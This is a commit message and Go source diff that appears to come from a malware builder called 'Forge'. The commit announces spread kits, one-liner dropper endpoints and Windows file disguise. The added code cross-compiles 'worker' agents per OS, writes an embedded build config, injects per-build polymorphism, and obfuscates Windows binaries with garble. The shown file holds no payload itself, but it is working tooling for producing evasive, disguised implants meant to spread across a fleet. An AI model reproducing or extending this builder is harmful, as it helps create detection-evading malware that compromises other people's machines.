Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

server/internal/builder/compile_platform.go

@@ -0,0 +1,75 @@
+package builder
+
+import (
+	"fmt"
+	"log"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strings"
+)
+
+func (h *Handler) compileGoProjectPlatform(dir, outputPath, ldflags string, tags []string, obfuscate bool, platform BuildPlatform) ([]byte, error) {
+	env := append(os.Environ(),
+		"GOOS="+platform.GOOS,
+		"GOARCH="+platform.GOARCH,
+		"CGO_ENABLED=0",
+	)
+
+	buildArgs := []string{"build", "-trimpath", "-ldflags", ldflags, "-o", outputPath}
+	if len(tags) > 0 {
+		buildArgs = append(buildArgs, "-tags", strings.Join(tags, ","))
+	}
+	buildArgs = append(buildArgs, ".")
+
+	useGarble := obfuscate && h.garblePath != "" && platform.GOOS == "windows"
+	if obfuscate && platform.GOOS == "windows" && !useGarble {
+		log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary")
+	}
+
+	var cmd *exec.Cmd
+	if useGarble {
+		garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...)
+		cmd = exec.Command(h.garblePath, garbleArgs...)
+	} else {
+		cmd = exec.Command(h.goBinPath, buildArgs...)
+	}
+	cmd.Dir = dir
+	cmd.Env = env
+
+	out, err := cmd.CombinedOutput()
+	if err != nil {
+		return out, fmt.Errorf("compile failed (%s): %s", platform.Label(), strings.TrimSpace(string(out)))
+	}
+	return out, nil
+}
+
+func (h *Handler) compileWorker(agentDir, buildDir string, req *BuildRequest, buildID string, platform BuildPlatform, fusionWorker bool) (string, error) {
+	name := workerFileName(req.WorkerName, platform, fusionWorker)
+	outputPath := filepath.Join(buildDir, platform.Label(), name)
+	if err := os.MkdirAll(filepath.Dir(outputPath), 0755); err != nil {
+		return "", err
+	}
+
+	configDir := filepath.Join(agentDir, "config")
+	if err := os.MkdirAll(configDir, 0755); err != nil {
+		return "", err
+	}
+	if err := os.WriteFile(filepath.Join(configDir, "builtin.go"), []byte(h.generateBuiltinConfig(buildID, req)), 0644); err != nil {
+		return "", fmt.Errorf("write builtin config: %w", err)
+	}
+
+	ldflags := ldflagsFor(req, platform)
+	extra, err := injectPolymorph(agentDir, buildID)
+	if err != nil {
+		log.Printf("[Forge] polymorph inject: %v", err)
+	} else {
+		ldflags += extra
+	}
+
+	obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
+	if _, err := h.compileGoProjectPlatform(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated, platform); err != nil {
+		return "", err
+	}
+	return outputPath, nil
+}